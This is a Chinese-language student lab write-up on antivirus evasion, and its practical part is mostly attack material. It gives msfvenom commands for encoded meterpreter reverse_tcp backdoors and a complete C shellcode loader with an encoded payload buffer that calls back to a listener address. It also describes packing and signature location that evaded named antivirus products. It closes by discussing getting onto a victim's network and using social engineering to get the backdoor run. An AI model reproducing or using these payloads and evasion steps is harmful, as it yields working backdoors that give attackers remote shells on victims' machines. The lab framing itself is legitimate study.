免杀技术
一、基础知识
1.杀软是如何检测出恶意代码的?
(1)检测特征码
人有自己的特征,代码也有自己的特征。杀毒软件都有着一套特征库,依靠检索程序代码是否和库中特征码是否吻合来判断某段代码是否属于病毒。
(2)启发式恶意软件检测
如果该程序的特征和行为与病毒程序类似,其匹配程度达到一定值就可以认为该程序是病毒程序。
(3)基于行为检测
与启发式检测类似,只是单纯依靠监测程序行为来作为标准。通过监视恶意代码运行过程,如利用系统监视工具观察恶意代码运行过程时系统环境的变化,或通过跟踪恶意代码执行过程使用的系统函数和指令特征分析恶意代码功能,如出现恶意行为,则属于恶意代码。
2.免杀是什么?如何免杀?
顾名思义,免杀就是使得恶意软件不被杀毒软件查杀,二者能够共存。免杀的方法如下,更多参见免杀技术有一套。
改变特征码:在不影响程序功能的情况下,依靠分片等方法尝试找出特征码区域,并对该区域代码进行编码(直接修改特征码的十六进制法、修改字符串大小写法、等价替换法、指令顺序调换法、通用跳转法)
- 加花:就是加入一些花里胡哨的指令来迷惑杀软,让杀软检测不到特征码,但是一些厉害的杀软还可以看破这些。
- 加壳:就是给含有恶意代码的程序加一个外包装,使其无法进行逆向比对病毒库中的特征码。但运行时需要载入内存,在载入内存之时,需要先自我脱壳才能运行,因此也能被查杀。
改程序入口点
二、实践过程
1.msf编码
通过各种不同形式的编码,甚至是多个编码器的嵌套编码,可以让攻击载荷变得面目全非,避免载荷中含有一些安全检测与防御机制能够轻易识别的特征码,从而能够达到"免杀"的效果。
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 LHOST=172.30.0.81 LPORT=2333 -f exe -o \root\bmbackdoor.exe
运行后很不幸被查杀了,毕竟是360嘛......
换了金山毒霸,嗯......
将生成的后门程序将文件传至virscan.org进行检测,可以看到奇虎360、金山毒霸病毒库是可以检测到的。那就换一个瑞星吧!
但后门程序依旧没有逃出被扼杀的命运。这里我返回去重新看了下,检测中没有发现病毒对应的版本是2017年的,现在都18年了,瑞星肯定是做了更新的。
2.shellcode
手动编译meterpreter并对shellcode进行编码就能绕过静态查杀,meterpreter本身就是直接加载进内存并且有编码,绕过动态查杀基本没问题。
使用命令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 LHOST=172.30.0.81 LPORT=2333 -f c
生成一个c语言格式的Shellcode数组,并编写以下程序。
unsigned char buf[] = "\xd9\xc4\xbf\x14\x9c\xc1\x14\xd9\x74\x24\xf4\x5b\x29\xc9\xb1" "\x6f\x83\xc3\x04\x31\x7b\x14\x03\x7b\x00\x7e\x34\xaa\xb4\xd1" "\x42\x09\x1f\xe9\x74\xda\xbb\x06\xdd\x08\x0a\x57\x8a\xcd\x67" "\x64\x7a\xa1\x67\x96\x0e\x55\xf9\xc2\xdc\x65\xa2\x22\xf7\xb7" "\xa6\xed\x35\xb0\x63\x1a\x76\x70\xfd\x2b\xb6\xf2\x7d\x4b\xd3" "\xe9\x02\x19\xd6\xcc\xf8\x0f\x8a\xb6\x92\x94\x07\xaf\x47\xf8" "\xd5\x44\x61\x13\xaf\xcc\x91\x1d\x2a\x75\x5e\x98\xfe\xe6\xf7" "\xbe\x4a\x7e\xc7\xb3\x7d\x60\x13\x65\x24\xd1\x3e\x28\x8a\xa1" "\xd0\xe1\xe9\xe8\xe4\x50\x04\xda\xc1\x4f\x36\x07\x65\xf4\xa0" "\x24\xcd\xee\xa6\x2d\x17\xf7\xca\x45\x73\x36\xdb\x04\x9f\x10" "\xd1\x88\x2f\x26\x97\xf4\x3e\x39\x50\x31\x23\xe4\x8f\xef\xb0" "\xfa\x08\x18\x54\x76\x9f\xce\x6a\xb2\x36\xbd\x74\xa8\xd9\x9e" "\x14\x9c\xcb\xba\xc9\x0e\x99\xfc\xa3\xa8\xbd\xac\x79\x98\x11" "\x9d\x4c\x3d\xfe\x92\xf4\xd3\xfc\xae\xa5\x13\xe0\x35\x85\x31" "\xea\xf8\x79\x6e\x2e\x31\xaa\x16\xa3\xf6\xd9\xf7\x38\x4d\xb4" "\xa9\xd7\x43\x25\x37\x93\xb8\x78\x6f\x98\x9c\xa2\x9f\x08\x44" "\xed\x16\x56\x91\xa6\x0c\x0b\x8b\xc7\x84\x33\xc1\x6a\xca\xa6" "\xf4\xee\xb0\x0c\xa0\xd1\x34\xd5\x43\xf5\x0a\x60\x7c\x06\x9d" "\x2d\x29\x2a\x55\x56\x68\x51\x7c\x8c\x6f\xbf\x2d\x88\x90\xa8" "\xfc\x37\x5c\x93\xa0\x25\x44\xa5\x4e\x5d\x96\x21\x3d\x74\xfe" "\x8d\xd7\x7a\xa0\xf7\xae\x37\xcd\xf9\xcd\x34\x68\xcc\xd7\x92" "\x63\xf7\xcd\x4c\x7f\x09\x1b\x0c\x49\xd5\xfe\x7c\xe1\xb2\xa1" "\xf6\xdd\x9f\x3c\x9c\xa8\xe9\x25\x1d\x89\xa3\x7d\x96\x05\x2b" "\x70\xeb\xa4\xc0\x7f\x08\xa4\xc4\xe5\xb5\x09\xf6\xc8\x9c\xfe" "\x54\x39\xb7\xa1\x13\xf9\x7a\xd6\x31\xac\xd1\x9c\xc0\xa8\xe9" "\x32\x06\xab\xa3\xa9\x43\x99\x79\x52\xb1\xd8\xff\xe3\xca\x5a" "\x94\x66\x18\x0c\xd7\x85\xd6\x89\x4a\x65\x90\x70\x9e\x70\x4c" "\x5c\x88\xf2\xec\xba\x86\x41\xdd\xc7\xd4\xcc\x79\x1b\x34\xa7" "\x39\x63\xba\xa1\xab\x8d\x67\x54\x95\x23\xa8\x6d\xdc\x9a\x1f" "\x81\xd8\xd2\x05\x69\xfb\xdb\x93\xef\x87\x25\x1f\x38\x75\x75" "\xc8\x84\x12\xa8\xc6\x0a\xa0\x52\x73\xef\xcd\x22\x9d\xd0\x45" "\x00\x12\x44"; main() { ( (void(*)(void))&buf)(); }
将以上代码用vc编译成可执行文件test.exe,360打开,运行后发现没有被查杀,且可以取得 Meterpreter shell。
不放心,又扫描了一遍,没扫描到test.exe(bmbackdoor.exe、rootbackdoor.exe是之前用msf编码器生成的)。
又使用了瑞星,没毛病,但是金山毒霸却报了毒。
3.加壳
在网上看到把后门程序的文件名改改也可能避免查杀,所以我改成了calc.exe,但是没有成功。那就给它加个壳看看吧。
运行后,360没查杀,建立起了meterpreter通道。
扫描一下,没有发现加壳后的cal_se.exe。
4.定位特征码
MYCCL通过逐块暴露的方式定位特征码。工作方式,简言之,就是将病毒分割成一个个的小块(按照顺序分),用杀软去查杀这些小块,杀软就会一个个进行对比特征码,从而杀掉,myccl记录下被杀掉的小块从而得知特征码的位置。参考杀毒与免杀技术详解之二:特征码定位-工具及原理。
点击文件,选择calc.exe,目录指的是分块文件存放目录。分块数量10-30之间都可以,然后点击生成即可。这里在E:\1路径下生成20个文件。
用杀毒软件扫描这20个分块文件,然后将报毒文件删除。
只要不是全部报毒,就说明可以定位。点击"二次处理",完成第一次粗略定位。此时弹出以下对话框,因为特征码不一定只有一个,所以当然选择Yes。重复生成->查杀删除->二次处理的循环,直到不在报毒为止。
点击特征区间,就能看到定位出来的特征码位置。
特征区间的格式,前一段是十六进制的文件偏移,后一段是十进制的特征码长度。可以看到长度太长这么大的范围,肯定不能直接进行修改免杀,所以接下来要进行复合定位。在特征区间这一行,右键点击复合定位此处特征。然后继续重复之前步骤,将范围缩小。最后我定到的是000000F3E_00000002,可以说非常开心了。
使用C32Asm查看特征码长什么样。将calc.exe拖进去,选择十六进制模式。
右键点击跳到,输入000000F3E。我顿时懵了,00是什么鬼!
我想肯定是哪部错了,于是把第一步定为的另两个特征区间试了一遍,因为扫描1800多个文件太慢,我把它依旧分成20个,但是又出现新问题,杀软把分块的文件全部查杀了......以后有时间再试试吧,嗯,这次主要先看看原理QAQ。
三、实践总结与体会
1.这次实践可谓是一波未平一波又起,veil安装了3遍依旧没安上(原理和metasploit差不多,所以我就没再实践了),定位特征码一遍遍地分块、查杀,最后定出来个00,期间安装杀毒软件还把电脑搞蓝屏了(网上的东西千万不敢随意下)。第一次这么迫切地希望病毒能够不被查杀......但实践过程还是很有趣的,不管实现多少还是有点小成就感哈哈哈。
2.用工具生成的一般都能被查杀,看了点有关手动免杀实战的博客,只是光看人家做出来的都会云里雾里,脑袋发胀,所以很佩服自己手动修改的。周围有同学研究逆向的,对于我来说非常难了,他们却能研究下去,果然,兴趣是最好的老师。
四、离实战还缺些什么技术或步骤?
1.实践中我把后门程序发给了同学,他运行后并不能取得 Meterpreter shell,因为我俩不在同一个局域网。所以需要采用方法先进入对方局域网内,此外社会工程学让对方心甘情愿接收你的病毒也至关重要。
2.定位特征码没有成功,后续修改特征码也就没有动手实践。